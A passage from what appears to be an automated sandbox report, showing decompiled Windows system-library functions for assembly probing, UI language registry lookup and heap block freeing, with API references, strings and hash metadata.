											L52:
											 *(_t145 + 2) = _t199;
											_t174 = _t145;
											goto L23;
										}
										_t193 = 0xc0000017;
										goto L24;
									}
									_t145 = _v552;
									 *(_t145 + 4) = _t189;
									_t189 = 0;
									_v556 = 0;
									goto L52;
								} else {
									memcpy( *(_t172 + 4), _t189, _t165 & 0x0000ffff);
									_t174 = _v580;
									L23:
									_t187 = _v584;
									 *_t187 = _t174;
									_t147 = (_t165 & 0x0000ffff) +  *((intOrPtr*)(_t174 + 4));
									_t175 = 0x5c;
									 *_t147 = _t175;
									 *((short*)(_t147 + 2)) = 0;
									 *( *_t187) = _v560 + 2;
									_v548 = _v548 & 0x00000000;
									_t193 = 0;
									 *_v544 = _v548;
									L24:
									_t103 = _v588;
									if(_t103 != 0) {
										RtlFreeHeap( *( *[fs:0x30] + 0x18), 0, _t103);
										_t189 = _v556;
									}
									goto L26;
								}
							}
						}
					}
				}
			}

0x6b4acf7c
0x6b4acf7f
0x6b4acf82
0x6b4acf85
0x6b4acf8e
0x6b4acf99
0x6b4acf9c
0x6b4acfa4
0x6b4acfab
0x6b4acfad
0x6b4acfb3
0x6b4acfb9
0x6b4acfbf
0x6b4acfc5
0x6b4acfcb
0x6b4acfd1
0x6b4acfd7
0x6b4acfdd
0x6b4acfe3
0x6b4acfeb
0x6b4acfed
0x6b4acfed
0x6b4acfef
0x6b4acffb
0x6b4ad003
0x6b4ad005
0x6b4ad005
0x6b4ad00d
0x6b4eafc1
0x6b4eafc7
0x6b4eafc8
0x6b4eafc9
0x6b4eafca
0x6b4eafcb
0x6b4eafcc
0x6b4eafdc
0x6b4eafe4
0x00000000
0x6b4ad03f
0x6b4ad03f
0x6b4ad042
0x6b4ad047
0x6b4ad050
0x6b4ad055
0x6b4ad059
0x6b4ad05c
0x6b4eae41
0x6b4eae47
0x6b4eae4e
0x6b4eae4e
0x6b4eae41
0x6b4ad05c
0x6b4ad068
0x6b4ad06a
0x6b4ad075
0x6b4eae56
0x6b4eae5b
0x6b4eae5d
0x6b4eae5f
0x6b4eae67
0x6b4ad230
0x6b4ad232
0x6b4ad261
0x6b4ad261
0x6b4ad23e
0x6b4ad245
0x6b4eafee
0x6b4eaff4
0x6b4eaff4
0x6b4ad250
0x6b4ad251
0x6b4ad254
0x6b4ad25d
0x6b4ad25d
0x6b4ad080
0x6b4eae71
0x6b4eae7a
0x6b4eae7c
0x6b4eae84
0x6b4eaea1
0x00000000
0x6b4eaea1
0x6b4eae8f
0x6b4eae97
0x00000000
0x6b4ad086
0x6b4ad086
0x6b4ad08c
0x6b4ad08f
0x6b4ad095
0x6b4ad09d
0x6b4ad0a8
0x6b4ad0b1
0x6b4eaeab
0x6b4eaeac
0x6b4eaeaf
0x6b4eaeaf
0x6b4ad0b7
0x6b4ad0c5
0x6b4ad0dc
0x6b4ad0f1
0x6b4ad102
0x6b4ad112
0x6b4eaec0
0x6b4eaec8
0x00000000
0x6b4ad118
0x6b4ad118
0x6b4ad11e
0x6b4ad124
0x6b4ad12d
0x6b4eaed2
0x6b4eaede
0x6b4eaee4
0x6b4ad133
0x6b4ad133
0x6b4ad133
0x6b4ad135
0x6b4ad141
0x6b4ad143
0x6b4ad14f
0x6b4ad151
0x6b4ad158
0x6b4ad162
0x6b4ad163
0x6b4ad16e
0x6b4ad178
0x6b4ad179
0x6b4ad17f
0x6b4ad18a
0x6b4ad18c
0x6b4ad194
0x6b4eaef2
0x6b4eaef6
0x6b4eaefc
0x6b4eaeff
0x6b4eaf15
0x6b4eaf1a
0x6b4eaf20
0x6b4eaf20
0x6b4eaef6
0x6b4ad19c
0x6b4eaf32
0x6b4eaf5c
0x6b4eaf44
0x6b4eaf44
0x6b4eaf4f
0x6b4eaf54
0x00000000
0x6b4ad1a2
0x6b4ad1a2
0x6b4ad1a8
0x6b4ad1b4
0x6b4eaf6e
0x6b4eaf89
0x6b4eaf91
0x6b4eaf96
0x6b4eafa8
0x6b4eafad
0x6b4eafb6
0x6b4eafb6
0x6b4eafba
0x00000000
0x6b4eafba
0x6b4eaf98
0x00000000
0x6b4eaf98
0x6b4eaf70
0x6b4eaf76
0x6b4eaf79
0x6b4eaf7b
0x00000000
0x6b4ad1ba
0x6b4ad1c2
0x6b4ad1c7
0x6b4ad1d0
0x6b4ad1d0
0x6b4ad1db
0x6b4ad1dd
0x6b4ad1e0
0x6b4ad1e1
0x6b4ad1e6
0x6b4ad1f5
0x6b4ad204
0x6b4ad20b
0x6b4ad20d
0x6b4ad20f
0x6b4ad20f
0x6b4ad217
0x6b4ad225
0x6b4ad22a
0x6b4ad22a
0x00000000
0x6b4ad217
0x6b4ad1b4
0x6b4ad19c
0x6b4ad112
0x6b4ad080

APIs

memcpy.1105(?,00000010,?,00000040,?,?), ref: 6B4AD09D
memcpy.1105(00000000,00000010,00000000,00000040,?,?), ref: 6B4AD0C5
RtlDosPathNameToRelativeNtPathName_U.1105(?,?,00000000,?,?,?,?,00000040,?,?), ref: 6B4AD10B
ZwOpenFile.1105(?,00100020,?,?,00000003,00000021,?,?,00000000,?,?,?,?,00000040,?,?), ref: 6B4AD185
memcpy.1105(00000010,?,?,?,00100020,?,?,00000003,00000021,?,?,00000000,?), ref: 6B4AD1C2
RtlFreeHeap.1105(?,00000000,?,?,00000000,?,?,?,?,00000040,?,?), ref: 6B4AD225
RtlDeleteBoundaryDescriptor.1105(?,?,00000000,?,?,?,?,00000040,?,?), ref: 6B4AD261

Part of subcall function 6B47AD30: RtlFreeHeap.1105(?,00000000,00000001,?,6B4A02E9,00000000,?,6B48ECFB,6B5684D8,6B5684D8,6B4C17F0,00000000,?,6B49F715,6B49F5C0,?), ref: 6B47AD43

ZwClose.1105(00000010,?,00100020,?,?,00000003,00000021,?,?,00000000,?,?,?,?,00000040,?), ref: 6B4EAEFF
RtlFreeHeap.1105(?,00000000,?,00000010,?,00100020,?,?,00000003,00000021,?,?,00000000,?), ref: 6B4EAF15

Strings

@, xrefs: 6B4AD16E
RtlpProbeAssemblyStorageRootForAssembly, xrefs: 6B4EAFCE
SXS: Attempt to translate DOS path name "%S" to NT format failed, xrefs: 6B4EAEB8
SXS: %s() bad parametersSXS: Flags: 0x%lxSXS: Root: %pSXS: AssemblyDirectory: %pSXS: PreAllocatedString: %pSXS: DynamicString: %pSXS: StringUsed: %pSXS: OpenDirectoryHandle: %p, xrefs: 6B4EAFD3
SXS: Assembly storage resolution failing probe because attempt to allocate %u bytes failed., xrefs: 6B4EAE87
SXS: Unable to open assembly directory under storage root "%S"; Status = 0x%08lx, xrefs: 6B4EAF46
SXS: Assembly storage resolution failing probe because combined path length does not fit in an UNICODE_STRING., xrefs: 6B4EAE56

Memory Dump Source

Source File: 00000018.00000002.441461960.000000006B451000.00000020.00020000.sdmp, Offset: 6B450000, based on PE: true

Associated: 00000018.00000002.441413678.000000006B450000.00000002.00020000.sdmp Download File
Associated: 00000018.00000002.443730136.000000006B565000.00000008.00020000.sdmp Download File
Associated: 00000018.00000002.443748065.000000006B56B000.00000004.00020000.sdmp Download File
Associated: 00000018.00000002.443821288.000000006B56F000.00000002.00020000.sdmp Download File

Similarity

API ID: FreeHeapmemcpy$Path$BoundaryCloseDeleteDescriptorFileNameName_OpenRelative
String ID: @$RtlpProbeAssemblyStorageRootForAssembly$SXS: %s() bad parametersSXS: Flags: 0x%lxSXS: Root: %pSXS: AssemblyDirectory: %pSXS: PreAllocatedString: %pSXS: DynamicString: %pSXS: StringUsed: %pSXS: OpenDirectoryHandle: %p$SXS: Assembly storage resolution failing probe because attempt to allocate %u bytes failed.$SXS: Assembly storage resolution failing probe because combined path length does not fit in an UNICODE_STRING.$SXS: Attempt to translate DOS path name "%S" to NT format failed$SXS: Unable to open assembly directory under storage root "%S"; Status = 0x%08lx
API String ID: 1343436988-541586583
Opcode ID: 73ca6baeea33e824b4c3eaba6db31e256ff3e8d4f37bd3949c6c13c2f29e88dc
Instruction ID: 22080ffb8f1163c117e606f46291469864349d3bf93a4a3e392313c5de1345a1
Opcode Fuzzy Hash: 73ca6baeea33e824b4c3eaba6db31e256ff3e8d4f37bd3949c6c13c2f29e88dc
Instruction Fuzzy Hash: D5C19071D41228ABDB209F19DC89FAAB7B4EF55705F1040D9E80CAB354D7389E82CFA5

Uniqueness

Uniqueness Score: -1.00%

Function 6B47EC9B, Relevance: 40.6, APIs: 14, Strings: 9, Instructions: 320
nativememoryCOMMONCrypto

Download Yara Rule

C-Code - Quality: 84%

			E6B47EC9B(intOrPtr __ecx, signed int _a4, intOrPtr _a8, char* _a12, intOrPtr* _a16) {
				intOrPtr _v36;
				char _v40;
				char _v44;
				intOrPtr _v48;
				intOrPtr _v52;
				intOrPtr _v56;
				intOrPtr _v60;
				intOrPtr _v64;
				char _v68;
				intOrPtr _v72;
				intOrPtr _v76;
				intOrPtr _v80;
				void* _v84;
				long _v88;
				void* _v92;
				intOrPtr _v96;
				void* _v100;
				intOrPtr _v104;
				char _v108;
				long _v112;
				char _v116;
				char _v117;
				char _v120;
				signed int _v124;
				char _v125;
				char _v128;
				unsigned int _v132;
				signed int _v136;
				void* _v140;
				intOrPtr _v144;
				intOrPtr _v148;
				void* _v152;
				char _v156;
				void* _v168;
				void* _v172;
				void* _v180;
				void* _v192;
				void* _t107;
				void* _t108;
				void* _t119;
				void* _t126;
				WCHAR* _t135;
				char _t140;
				void* _t155;
				char* _t168;
				long _t169;
				void* _t174;
				char _t179;
				void* _t180;
				void* _t182;
				void* _t189;
				signed int _t191;
				void* _t193;
				signed int _t195;
				signed int _t197;
				void* _t199;

				_t199 = (_t197 & 0xfffffff8) - 0x74;
				_t168 = _a12;
				_v104 = __ecx;
				_v100 = 0;
				_v112 = 0;
				_v108 = 0;
				_v96 = 7;
				_v92 = 0;
				_v88 = 0;
				_v117 = 0;
				_t189 = 0;
				_v116 = 0;
				if(__ecx == 0 || _t168 == 0 || _a16 == 0) {
					_t193 = 0xc000000d;
					goto L43;
				} else {
					_t195 = _a4;
					 *_t168 = 0;
					if(_t195 == 1 || _t195 == 0) {
						RtlInitUnicodeString( &_v84, L"\\Registry\\Machine\\Software\\Policies\\Microsoft\\MUI\\Settings");
						_v84 = 0x18;
						_v76 =  &_v92;
						_v116 = 0;
						_push( &_v84);
						_push(0x20019);
						_v80 = 0;
						_push( &_v116);
						_v72 = 0x40;
						_v68 = 0;
						_v64 = 0;
						if(E6B4B9600() >= 0) {
							_t126 = E6B47BAA0(_v116, _v112,  &_v124);
							_t189 = _v136;
							_t193 = _t126;
							if(_t193 != 0 || _t189 == 0) {
								_t179 = _v116;
								_t195 = _a4;
								goto L7;
							} else {
								goto L44;
							}
						} else {
							_t179 = 0;
							_v116 = 0;
							L7:
							if(_t195 == 1 && _t179 != 0 && E6B52D191(_t179,  &_v125) >= 0) {
								asm("sbb eax, eax");
								_a4 = _t195 &  ~(_v125 - 0x00000001 & 0x000000ff);
							}
							_t185 = 0;
							_t180 = 0x2000000;
							_t193 = E6B47F108(0, _t179, _t179,  &_v108);
							if(_t193 < 0) {
								L45:
								 *_t168 = 1;
								goto L43;
							} else {
								if(_a4 != 1) {
									RtlInitUnicodeString( &_v92, L"Control Panel\\Desktop\\MuiCached");
									_t193 = 0;
									_v40 = _v116;
									_v36 =  &_v100;
									_push( &_v44);
									_push(0x20019);
									_v128 = 0;
									_push( &_v128);
									_v44 = 0x18;
									 *((intOrPtr*)(_t199 + 0x80)) = 0x40;
									 *((intOrPtr*)(_t199 + 0x84)) = 0;
									 *((intOrPtr*)(_t199 + 0x88)) = 0;
									if(E6B4B9600() < 0) {
										 *_t168 = 1;
										L44:
										_t174 = 0;
										L17:
										_t115 = _a4;
										if(_a4 != 0 || _t189 != 0 &&  *((intOrPtr*)(_t189 + 4)) != _t174) {
											_t171 = _v104;
											L21:
											if(_t189 == 0) {
												_t189 = E6B487608(1, _t185 & 0xffffff00 | _t115 != 0x00000001, _t171);
												if(_t189 == 0) {
													_t193 = 0xc0000017;
												}
											}
											goto L23;
										} else {
											_t171 = _v104;
											_t119 = E6B52E0E9(_v104, _t168,  &_v116);
											_t189 = _v124;
											_t193 = _t119;
											if(_t193 != 0) {
												L23:
												 *_a16 = _t189;
												L24:
												_t107 = _v88;
												if(_t107 == 0) {
													L48:
													_t169 = 0;
													L26:
													if(_v112 != 0) {
														_push(_v112);
														E6B4B95D0();
														_v116 = _t169;
													}
													_t108 = _v100;
													if(_t108 != 0) {
														if(_t108 != 0xffffffff) {
															 *0x6b456cc4(_t108);
														}
														_v100 = _t169;
													}
													if(_v108 != 0) {
														_push(_v108);
														E6B4B95D0();
													}
													goto L33;
												}
												_t169 = 0;
												RtlFreeHeap( *( *[fs:0x30] + 0x18), 0, _t107);
												goto L26;
											}
											_t115 = _a4;
											goto L21;
										}
									}
									_t135 = L"MachinePreferredUILanguages";
									L15:
									RtlInitUnicodeString( &_v100, _t135);
									_push(_t180);
									_t185 =  &_v108;
									_t182 = E6B47F018(_v136,  &_v108,  &_v120, _t193,  &_v116);
									_t193 = 0xc0000034;
									if(_t182 != 0xc0000034) {
										_t140 = _v120;
										if(_t140 == 0) {
											goto L16;
										}
										if(_t182 != 0x80000005) {
											goto L48;
										}
										_t191 = RtlAllocateHeap( *( *[fs:0x30] + 0x18), 8, _t140 + 2);
										_v124 = _t191;
										if(_t191 == 0) {
											_t193 = 0xc0000017;
											goto L48;
										}
										_push(_t182);
										_t185 =  &_v120;
										_t193 = E6B47F018(_v148,  &_v120,  &_v132, _t191,  &_v128);
										if(_t193 < 0) {
											L42:
											_t189 = _v156;
											L43:
											if(_t193 != 0) {
												goto L24;
											}
											goto L44;
										}
										if(_v136 != 7) {
											if(_v136 == 1) {
												goto L41;
											}
											_t189 = _v156;
											_t174 = 0;
											_t193 = 0;
											 *_t168 = 1;
											goto L17;
										}
										L41:
										_t185 = _t191;
										_t193 = E6B4838A4(_v144, _t191, _v132 >> 1, 8, (0 | _v132 >> 0x00000001 != 0x00000000) + 2, 1,  &_v156);
										goto L42;
									}
									L16:
									_t174 = 0;
									 *_t168 = 1;
									_t193 = 0;
									goto L17;
								}
								_t155 = E6B47E420(_v108, _v112,  &_v124);
								_t189 = _v136;
								_t193 = _t155;
								if(_t193 == 0) {
									if(_t189 != 0) {
										goto L23;
									}
								}
								RtlInitUnicodeString( &_v92, L"Control Panel\\Desktop");
								_t180 = 0;
								_v64 = _v116;
								_v60 =  &_v100;
								_push( &_v68);
								_push(0x20019);
								_v128 = 0;
								_push( &_v128);
								_v68 = 0x18;
								_v56 = 0x40;
								_v52 = 0;
								_v48 = 0;
								_t193 = E6B4B9600();
								if(_t193 < 0) {
									goto L45;
								}
								_t135 = L"PreferredUILanguages";
								if(_a8 != 3) {
									_t135 = L"PreferredUILanguagesPending";
								}
								_t193 = 0;
								goto L15;
							}
						}
					} else {
						_t193 = 0xc000000d;
						L33:
						return _t193;
					}
				}
			}

0x6b47eca3
0x6b47eca7
0x6b47ecae
0x6b47ecb2
0x6b47ecb6
0x6b47ecba
0x6b47ecbe
0x6b47ecc6
0x6b47ecca
0x6b47ecce
0x6b47ecd4
0x6b47ecd6
0x6b47ecdc
0x6b4d5952
0x00000000
0x6b47ecf3
0x6b47ecf3
0x6b47ecf6
0x6b47ecfb
0x6b47ed0f
0x6b47ed18
0x6b47ed20
0x6b47ed2a
0x6b47ed2e
0x6b47ed2f
0x6b47ed38
0x6b47ed3c
0x6b47ed3d
0x6b47ed45
0x6b47ed49
0x6b47ed54
0x6b4d58d5
0x6b4d58da
0x6b4d58de
0x6b4d58e2
0x6b4d58ec
0x6b4d58f0
0x00000000
0x00000000
0x00000000
0x00000000
0x6b47ed5a
0x6b47ed5a
0x6b47ed5c
0x6b47ed60
0x6b47ed63
0x6b4d5914
0x6b4d5918
0x6b4d5918
0x6b47ed71
0x6b47ed76
0x6b47ed80
0x6b47ed84
0x6b47f002
0x6b47f002
0x00000000
0x6b47ed8a
0x6b47ed8e
0x6b47ef03
0x6b47ef0c
0x6b47ef0e
0x6b47ef16
0x6b47ef1e
0x6b47ef1f
0x6b47ef28
0x6b47ef2c
0x6b47ef2d
0x6b47ef35
0x6b47ef40
0x6b47ef47
0x6b47ef55
0x6b47f007
0x6b47effb
0x6b47effb
0x6b47ee5a
0x6b47ee5a
0x6b47ee5f
0x6b47ee73
0x6b47ee77
0x6b47ee79
0x6b47ee8a
0x6b47ee8e
0x6b4d5983
0x6b4d5983
0x6b47ee8e
0x00000000
0x6b4d595c
0x6b4d5962
0x6b4d5968
0x6b4d596d
0x6b4d5971
0x6b4d5975
0x6b47ee94
0x6b47ee97
0x6b47ee99
0x6b47ee99
0x6b47ee9f
0x6b47f011
0x6b47f011
0x6b47eeb7
0x6b47eebc
0x6b47eebe
0x6b47eec2
0x6b47eec7
0x6b47eec7
0x6b47eecb
0x6b47eed1
0x6b47eed6
0x6b47eed9
0x6b47eed9
0x6b47eedf
0x6b47eedf
0x6b47eee8
0x6b4d598d
0x6b4d5991
0x6b4d5991
0x00000000
0x6b47eee8
0x6b47eeac
0x6b47eeb2
0x00000000
0x6b47eeb2
0x6b4d597b
0x00000000
0x6b4d597b
0x6b47ee5f
0x6b47ef5b
0x6b47ee20
0x6b47ee26
0x6b47ee2b
0x6b47ee3b
0x6b47ee44
0x6b47ee46
0x6b47ee4d
0x6b47ef65
0x6b47ef6b
0x00000000
0x00000000
0x6b47ef77
0x00000000
0x00000000
0x6b47ef91
0x6b47ef93
0x6b47ef99
0x6b47f00c
0x00000000
0x6b47f00c
0x6b47ef9b
0x6b47efab
0x6b47efb4
0x6b47efb8
0x6b47efef
0x6b47efef
0x6b47eff3
0x6b47eff5
0x00000000
0x00000000
0x00000000
0x6b47eff5
0x6b47efbf
0x6b4d593c
0x00000000
0x00000000
0x6b4d5942
0x6b4d5946
0x6b4d5948
0x6b4d594a
0x00000000
0x6b4d594a
0x6b47efc5
0x6b47efd0
0x6b47efed
0x00000000
0x6b47efed
0x6b47ee53
0x6b47ee53
0x6b47ee55
0x6b47ee58
0x00000000
0x6b47ee58
0x6b47eda1
0x6b47eda6
0x6b47edaa
0x6b47edae
0x6b4d5922
0x00000000
0x00000000
0x6b4d5928
0x6b47edbe
0x6b47edc7
0x6b47edc9
0x6b47edd1
0x6b47edd9
0x6b47edda
0x6b47ede3
0x6b47ede7
0x6b47ede8
0x6b47edf0
0x6b47edf8
0x6b47edfc
0x6b47ee05
0x6b47ee09
0x00000000
0x00000000
0x6b47ee13
0x6b47ee18
0x6b4d592d
0x6b4d592d
0x6b47ee1e
0x00000000
0x6b47ee1e
0x6b47ed84
0x6b4d58be
0x6b4d58be
0x6b47eeee
0x6b47eef6
0x6b47eef6
0x6b47ecfb

APIs

RtlInitUnicodeString.1105(?,\Registry\Machine\Software\Policies\Microsoft\MUI\Settings,00000000), ref: 6B47ED0F
ZwOpenKey.1105(?,?,?,?,00020019,00000018,?,?,?,?,\Registry\Machine\Software\Policies\Microsoft\MUI\Settings,00000000), ref: 6B47ED4D
RtlpLoadUserUIByPolicy.1105(?,?,?,00000000,00000000,?,?,?,?,?,00020019,00000018,?,?,?,?), ref: 6B47EDA1
RtlInitUnicodeString.1105(?,Control Panel\Desktop,?,?,?,00000000,00000000,?,?,?,?,?,00020019,00000018), ref: 6B47EDBE
ZwOpenKey.1105(00000007,00020019,00000040,?,Control Panel\Desktop,?,?,?,00000000,00000000,?,?,?,?,?,00020019), ref: 6B47EE00
RtlInitUnicodeString.1105(?,PreferredUILanguages,00000007,00020019,00000040,?,Control Panel\Desktop,?,?,?,00000000,00000000,?), ref: 6B47EE26
RtlFreeHeap.1105(?,00000000,?,00000000,00000000,?,?,?,?,?,00020019,00000018,?,?,?,?), ref: 6B47EEB2
ZwClose.1105(00000000,?,00000000,?,00000000,00000000,?,?,?,?,?,00020019,00000018), ref: 6B47EEC2
ZwClose.1105(?,?,00000000,?,00000000,00000000,?,?,?,?,?,00020019,00000018), ref: 6B47EED9
RtlInitUnicodeString.1105(?,Control Panel\Desktop\MuiCached,00000000,00000000,?,?,?,?,?,00020019,00000018,?,?,?,?,\Registry\Machine\Software\Policies\Microsoft\MUI\Settings), ref: 6B47EF03
ZwOpenKey.1105(?,?,?,?,00000007,00020019,?,?,Control Panel\Desktop\MuiCached,00000000,00000000,?,?,?,?,?), ref: 6B47EF4E
RtlAllocateHeap.1105(?,00000008,?,?,00000000,?,?,?,PreferredUILanguages,00000007,00020019,00000040,?,Control Panel\Desktop,?,?), ref: 6B47EF8C
ZwClose.1105(00000000,?,00000000,?,00000000,00000000,?,?,?,?,?,00020019,00000018), ref: 6B4D5991

Strings

PreferredUILanguagesPending, xrefs: 6B4D592D
MachinePreferredUILanguages, xrefs: 6B47EF5B
Control Panel\Desktop, xrefs: 6B47EDB4
@, xrefs: 6B47ED3D
\Registry\Machine\Software\Policies\Microsoft\MUI\Settings, xrefs: 6B47ED05
@, xrefs: 6B47EDF0
@, xrefs: 6B47EF35
PreferredUILanguages, xrefs: 6B47EE13, 6B47EE20
Control Panel\Desktop\MuiCached, xrefs: 6B47EEF9

Memory Dump Source

Source File: 00000018.00000002.441461960.000000006B451000.00000020.00020000.sdmp, Offset: 6B450000, based on PE: true

Associated: 00000018.00000002.441413678.000000006B450000.00000002.00020000.sdmp Download File
Associated: 00000018.00000002.443730136.000000006B565000.00000008.00020000.sdmp Download File
Associated: 00000018.00000002.443748065.000000006B56B000.00000004.00020000.sdmp Download File
Associated: 00000018.00000002.443821288.000000006B56F000.00000002.00020000.sdmp Download File

Similarity

API ID: InitStringUnicode$CloseOpen$Heap$AllocateFreeLoadPolicyRtlpUser
String ID: @$@$@$Control Panel\Desktop$Control Panel\Desktop\MuiCached$MachinePreferredUILanguages$PreferredUILanguages$PreferredUILanguagesPending$\Registry\Machine\Software\Policies\Microsoft\MUI\Settings
API String ID: 3016148903-3532704233
Opcode ID: 52c482a95efcb8d4a16edc6e1b73a4f0735e782624895a08b4b4474951df29d4
Instruction ID: 3cce7917ab2ceb614a59920a90d8588026b52f81230e3f3bb5c43598c99fe384
Opcode Fuzzy Hash: 52c482a95efcb8d4a16edc6e1b73a4f0735e782624895a08b4b4474951df29d4
Instruction Fuzzy Hash: D5C16C72958351ABD721DF28C480E9BBBE8AB84754F014A7EF998D7340D738D905CB92

Uniqueness

Uniqueness Score: -1.00%

Function 6B4999BF, Relevance: 33.8, APIs: 16, Strings: 3, Instructions: 572
COMMONCrypto

Download Yara Rule

C-Code - Quality: 78%

			E6B4999BF(signed int __ecx, signed short* __edx, signed int* _a4, signed int _a8) {
				char _v5;
				signed int _v12;
				signed int _v16;
				signed short _v20;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				signed short _t186;
				intOrPtr _t187;
				signed short _t190;
				signed int _t196;
				signed short _t197;
				intOrPtr _t203;
				signed int _t207;
				signed int _t210;
				signed short _t215;
				intOrPtr _t216;
				signed short _t219;
				signed int _t221;
				signed short _t222;
				intOrPtr _t228;
				signed int _t232;
				signed int _t235;
				signed int _t250;
				signed short _t251;
				intOrPtr _t252;
				signed short _t254;
				intOrPtr _t255;
				signed int _t258;
				signed int _t259;
				signed short _t262;
				intOrPtr _t271;
				signed int _t279;
				signed int _t282;
				signed int _t284;
				signed int _t286;
				intOrPtr _t292;
				signed int _t296;
				signed int _t299;
				signed int _t307;
				signed int* _t309;
				signed short* _t311;
				signed short* _t313;
				signed char _t314;
				intOrPtr _t316;
				signed int _t323;
				signed char _t328;
				signed short* _t330;
				signed char _t331;
				intOrPtr _t335;
				signed int _t342;
				signed char _t347;
				signed short* _t348;
				signed short* _t350;
				signed short _t352;
				signed char _t354;
				intOrPtr _t357;
				intOrPtr* _t364;
				signed char _t365;
				intOrPtr _t366;
				signed int _t373;
				signed char _t378;
				signed int* _t381;
				signed int _t382;
				signed short _t384;
				signed int _t386;
				unsigned int _t390;
				signed int _t393;
				signed int* _t394;
				unsigned int _t398;
				signed short _t400;
				signed short _t402;
				signed int _t404;
				signed int _t407;
				unsigned int _t411;
				signed short* _t414;
				signed int _t415;
				signed short* _t419;
				signed int* _t420;
				void* _t421;

				_t414 = __edx;
				_t307 = __ecx;
				_t419 = __edx - (( *(__edx + 4) & 0x0000ffff ^  *(__ecx + 0x54) & 0x0000ffff) << 3);
				if(_t419 == __edx || (( *(__ecx + 0x4c) >> 0x00000014 &  *(__ecx + 0x52) ^ _t419[1]) & 0x00000001) != 0) {
					_v5 = _a8;
					L3:
					_t381 = _a4;
					goto L4;
				} else {
					__eflags =  *(__ecx + 0x4c);
					if( *(__ecx + 0x4c) != 0) {
						_t411 =  *(__ecx + 0x50) ^  *_t419;
						 *_t419 = _t411;
						_t378 = _t411 >> 0x00000010 ^ _t411 >> 0x00000008 ^ _t411;
						__eflags = _t411 >> 0x18 - _t378;
						if(__eflags != 0) {
							_push(_t378);
							E6B52FA2B(__ecx, __ecx, _t419, __edx, _t419, __eflags);
						}
					}
					_t250 = _a8;
					_v5 = _t250;
					__eflags = _t250;
					if(_t250 != 0) {
						_t400 = _t414[6];
						_t53 =  &(_t414[4]); // -16
						_t348 = _t53;
						_t251 =  *_t348;
						_v12 = _t251;
						_v16 = _t400;
						_t252 =  *((intOrPtr*)(_t251 + 4));
						__eflags =  *_t400 - _t252;
						if( *_t400 != _t252) {
							L49:
							_push(_t348);
							_push( *_t400);
							E6B53A80D(_t307, 0xd, _t348, _t252);
							L50:
							_v5 = 0;
							goto L11;
						}
						__eflags =  *_t400 - _t348;
						if( *_t400 != _t348) {
							goto L49;
						}
						 *((intOrPtr*)(_t307 + 0x74)) =  *((intOrPtr*)(_t307 + 0x74)) - ( *_t414 & 0x0000ffff);
						_t407 =  *(_t307 + 0xb4);
						__eflags = _t407;
						if(_t407 == 0) {
							L36:
							_t364 = _v16;
							_t282 = _v12;
							 *_t364 = _t282;
							 *((intOrPtr*)(_t282 + 4)) = _t364;
							__eflags = _t414[1] & 0x00000008;
							if((_t414[1] & 0x00000008) == 0) {
								L39:
								_t365 = _t414[1];
								__eflags = _t365 & 0x00000004;
								if((_t365 & 0x00000004) != 0) {
									_t284 = ( *_t414 & 0x0000ffff) * 8 - 0x10;
									_v12 = _t284;
									__eflags = _t365 & 0x00000002;
									if((_t365 & 0x00000002) != 0) {
										__eflags = _t284 - 4;
										if(_t284 > 4) {
											_t284 = _t284 - 4;
											__eflags = _t284;
											_v12 = _t284;
										}
									}
									_t78 =  &(_t414[8]); // -8
									_t286 = E6B4CD540(_t78, _t284, 0xfeeefeee);
									_v16 = _t286;
									__eflags = _t286 - _v12;
									if(_t286 != _v12) {
										_t366 =  *[fs:0x30];
										__eflags =  *(_t366 + 0xc);
										if( *(_t366 + 0xc) == 0) {
											_push("HEAP: ");
											E6B47B150();
										} else {
											E6B47B150("HEAP[%wZ]: ",  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x30] + 0xc)) + 0xc)) + 0x2c);
										}
										_push(_v16 + 0x10 + _t414);
										E6B47B150("HEAP: Free Heap block %p modified at %p after it was freed\n", _t414);
										_t292 =  *[fs:0x30];
										_t421 = _t421 + 0xc;
										__eflags =  *((char*)(_t292 + 2));
										if( *((char*)(_t292 + 2)) != 0) {
											 *0x6b566378 = 1;
											asm("int3");
											 *0x6b566378 = 0;
										}
									}
								}
								goto L50;
							}
							_t296 = E6B49A229(_t307, _t414);
							__eflags = _t296;
							if(_t296 != 0) {
								goto L39;
							} else {
								E6B49A309(_t307, _t414,  *_t414 & 0x0000ffff, 1);
								goto L50;
							}
						} else {
							_t373 =  *_t414 & 0x0000ffff;
							while(1) {
								__eflags = _t373 -  *((intOrPtr*)(_t407 + 4));
								if(_t373 <  *((intOrPtr*)(_t407 + 4))) {
									_t301 = _t373;
									break;
								}
								_t299 =  *_t407;
								__eflags = _t299;
								if(_t299 == 0) {
									_t301 =  *((intOrPtr*)(_t407 + 4)) - 1;
									__eflags =  *((intOrPtr*)(_t407 + 4)) - 1;
									break;
								} else {
									_t407 = _t299;
									continue;
								}
							}
							_t62 =  &(_t414[4]); // -16
							E6B49BC04(_t307, _t407, 1, _t62, _t301, _t373);
							goto L36;
						}
					}
					L11:
					_t402 = _t419[6];
					_t25 =  &(_t419[4]); // -16
					_t350 = _t25;
					_t254 =  *_t350;
					_v12 = _t254;
					_v20 = _t402;
					_t255 =  *((intOrPtr*)(_t254 + 4));
					__eflags =  *_t402 - _t255;
					if( *_t402 != _t255) {
						L61:
						_push(_t350);
						_push( *_t402);
						E6B53A80D(_t307, 0xd, _t350, _t255);
						goto L3;
					}
					__eflags =  *_t402 - _t350;
					if( *_t402 != _t350) {
						goto L61;
					}
					 *((intOrPtr*)(_t307 + 0x74)) =  *((intOrPtr*)(_t307 + 0x74)) - ( *_t419 & 0x0000ffff);
					_t404 =  *(_t307 + 0xb4);
					__eflags = _t404;
					if(_t404 == 0) {
						L20:
						_t352 = _v20;
						_t258 = _v12;
						 *_t352 = _t258;
						 *(_t258 + 4) = _t352;
						__eflags = _t419[1] & 0x00000008;
						if((_t419[1] & 0x00000008) != 0) {
							_t259 = E6B49A229(_t307, _t419);
							__eflags = _t259;
							if(_t259 != 0) {
								goto L21;
							} else {
								E6B49A309(_t307, _t419,  *_t419 & 0x0000ffff, 1);
								goto L3;
							}
						}
						L21:
						_t354 = _t419[1];
						__eflags = _t354 & 0x00000004;
						if((_t354 & 0x00000004) != 0) {
							_t415 = ( *_t419 & 0x0000ffff) * 8 - 0x10;
							__eflags = _t354 & 0x00000002;
							if((_t354 & 0x00000002) != 0) {
								__eflags = _t415 - 4;
								if(_t415 > 4) {
									_t415 = _t415 - 4;
									__eflags = _t415;
								}
							}
							_t91 =  &(_t419[8]); // -8
							_t262 = E6B4CD540(_t91, _t415, 0xfeeefeee);
							_v20 = _t262;
							__eflags = _t262 - _t415;
